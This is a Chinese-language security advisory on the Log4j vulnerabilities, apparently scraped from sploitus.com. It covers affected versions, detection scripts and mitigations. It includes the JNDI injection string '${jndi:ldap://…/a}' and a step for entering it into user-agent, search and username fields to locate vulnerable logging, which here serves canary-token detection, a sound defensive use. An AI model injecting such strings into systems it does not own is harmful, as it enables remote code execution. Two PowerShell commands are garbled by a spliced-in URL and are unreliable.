## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HELSECERT-CVE-2021-44228
# Log4j 漏洞
更新于 2021年12月19日:Log4j 中不断发现新的漏洞及利用方式。我们在 git 仓库中添加了三个流程图(思维导图),分别描述 Log4j 的易受攻击版本、如何检查是否易受攻击 以及 针对不同漏洞的缓解措施。
# 建议
### Log4j v2.x:
* 识别使用 Log4j 2.x 版本的软件
* 缓解 Log4j 中的漏洞
* 将使用 Log4j 的软件更新到使用 Log4j 2.17.0 的版本
如果上述操作不可行
* 确保已实施针对 CVE-2021-44228 和 CVE-2021-45046 的 缓解措施,**请注意此时系统仍易受 DoS 攻击**
* 如果系统特别关键,建议检查 Log4j2 配置中 `Pattern Layouts` 里的 `Context Lookups`
### Log4j v1.x:
* 识别使用 Log4j 1.x 版本的软件。
* 如果企业中使用了 Log4j 1.x 版本,请与供应商沟通并要求其
* 升级到 Log4j 2.x 版本
* 或者改用其他日志库
# 漏洞详情
CVE-2021-44228
Log4j 漏洞中最大的恶狼。当 Log4j 记录字符串 `${jndi:ldap://\<攻击代码>/a}` 的变体时,漏洞被利用。CVSS 10.0,远程代码执行(RCE)。
CVE-2021-45046
不如 CVE-2021-44228 严重,但同样危险。需要 Log4j 的非标准配置。CVSS 9.0,远程代码执行(RCE)和拒绝服务(DoS)。
CVE-2021-45105
不如 CVE-2021-44228 严重,危险性也稍低。CVSS 7.5,拒绝服务(DoS)。
CVE-2021-4104
仅影响 Log4j 1.x 版本。需要 Log4j 使用 JMSAppender。CVSS 6.6,远程代码执行(RCE) 利用条件:Log4j 使用 JMSAppender。要么直接配置了 JMSAppender(这很不常见),要么攻击者自行将其添加到 Log4j 配置中。 此外,攻击者必须有权修改 JMSAppender 的配置。如果满足此条件,攻击者通常已经拥有系统访问权限。因此,该漏洞被认为不太相关。
CVE-2019-17571
仅影响 Log4j 1.x 版本。需要 Log4j 使用 SocketServer。CVSS 9.8,远程代码执行(RCE) 允许具有网络访问权限的攻击者通过对应套接字执行代码。利用代码已公开可用。
对于 Java 8,Log4j **2.17.0** 是最新版本,它缓解了上述所有漏洞。
版本 **2.16.0** 缓解了最严重的漏洞。
对于 Java 7,Log4j 发布了 2.12.2 版本。该版本不能缓解 CVE-2021-45105。Log4j 团队表示 Java 6 和 Java 7 均已不再受支持。他们是否还会为 Java 7 提供额外的 Log4j 安全更新尚不确定。
流程图“Mind map #1”清晰概述了是否存在各漏洞的条件。

由 Loïc Castel 制作。来自 github。
# 发现是否易受攻击
部分挑战在于,并非直接暴露在互联网上的服务器才易受攻击。漏洞可能存在于“链条”更后端的服务器中,该服务器接收相同数据并记录下来。这可能使得确定哪些系统已暴露、哪些未暴露变得困难。
流程图“Mind map #2”清晰概述了如何检查自身系统是否存在这些漏洞。

由 Loïc Castel 制作。来自 github。
通过触发漏洞 1\. 创建 DNS 蜜罐令牌 [https://canarytokens.org/generate#](https://canarytokens.org/generate#)

2. 构建文本字符串 ${jndi:ldap://<蜜罐令牌>/a}
3. 在可能被记录的所有字段中输入此字符串

root@kitploit:~
- User-agent
- 搜索字段
- 用户名
- ...
4\. 跟踪蜜罐命中并找出 log4j 运行的位置。
参考:Florian Roth 的推文
通过扫描主机
#### Windows
以下命令扫描所有磁盘,包括映射的网络驱动器:
root@kitploit:~
Get-PSDrive -PSProvider FileSystem | foreach {(gci ($_.Root) -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}
参考:https://twitter.com/0gtweet/status/1469661769547362305
如果只想检查本地磁盘:
root@kitploit:~
Get-CimInstance win32_volume | Where-Object { $_.DriveType -eq 3 -and $_.DriveLetter -ne $null} | ForEach-Object {(gci ($_.DriveLetter+"\") -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path)}
参考:https://twitter.com/webmastir/status/1470386184052486155?s=20
如果还想检查计算机的事件日志:
root@kitploit:~
Get-WinEvent -ListLog * |
foreach { get-winevent @{logname=$_.logname; } -ea 0 } |
where message -match 'jndi'
#### Linux #1
root@kitploit:~
#!/bin/bash
find / -name '*log4j*.jar' -print0 2>/dev/null -print0 | while read -d $'\0' log4j; do
echo -en "${log4j}: "$(unzip -p "${log4j}" | strings | grep -Po '^Implementation-Version:\s+([0-9\.]+)' | awk '{ print $NF }')"\n"
done
exit 0
# 缓解漏洞
流程图“Mind map #3”概述了缓解措施的可能性。

由 Loïc Castel 制作。来自 github。
下面我们列出了一些用于执行缓解措施的资源。
#1 修补
## Java 8
将 Log4j 更新到 2.17.0 版本
## Java 7
将 Log4j 更新到 2.12.2 版本 **注意:不能缓解 CVE-2021-45105**
#4 缓解措施 #1:设置变量
> ⚠️ _**此方法不再被认为是完全修复方案,因为它不能在所有情况下缓解所有漏洞。**_
### Windows
root@kitploit:~
[Environment]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:SetEnvironmentVariable(%22LOG4J_FORMAT_MSG_NO_LOOKUPS%22,%22true%22,%22Machine%22)
**注意:需要重启**
来自 https://twitter.com/CyberRaiju/status/1469505680138661890
### 设置 JVM 参数
root@kitploit:~
"‐Dlog4j2.formatMsgNoLookups=True"
命令行示例:
root@kitploit:~
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" teku --network mainnet
或者与 -Xmx 值一起使用:
root@kitploit:~
JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true -Xmx4g" teku
Systemd 配置示例:
root@kitploit:~
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true"'
或者与 -Xmx 值一起使用:
root@kitploit:~
Environment='JAVA_OPTS="-Dlog4j2.formatMsgNoLookups=true" "-Xmx4g'
**此设置在应用程序重启时加载** 来自 https://github.com/ConsenSys/teku/security/advisories/GHSA-mwfw-vm54-g3p7
#4 缓解措施 #2:删除 Java 类 删除 log4j jar 文件中的 JndiLookup.class 类。
jar 文件是一个归档文件(zip 文件),可以打开。然后可以删除文件。此操作可以使用 7-zip 等工具手动完成(见图),或通过脚本完成。
**需要重启应用程序**
参考:https://mogwailabs.de/en/blog/2021/12/vulnerability-notes-log4shell/9

#### Windows
root@kitploit:~
[Reflection.Assembly]:https://raw.githubusercontent.com/helsecert/cve-2021-44228/main/:LoadWithPartialName(%27System.IO.Compression%27)
$JarFilLokasjon = 'C:\temp\log4j-core-2.13.0-test.jar'
$Filnavn = 'JndiLookup.class' #此文件将被删除!
$Stream = New-Object IO.FileStream($JarFilLokasjon, [IO.FileMode]::Open)
$ZipMode = [IO.Compression.ZipArchiveMode]::Update
$Zip = New-Object IO.Compression.ZipArchive($stream, $ZipMode)
($zip.Entries | Where-Object { $Filnavn -contains $_.Name }) | ForEach-Object { $_.Delete() }
$zip.Dispose()
$stream.Close()
$stream.Dispose()
#### Linux
root@kitploit:~
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
## 受影响的软件列表
https://github.com/NCSC-NL/log4shell/tree/main/software
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
https://github.com/cisagov/log4j-affected-db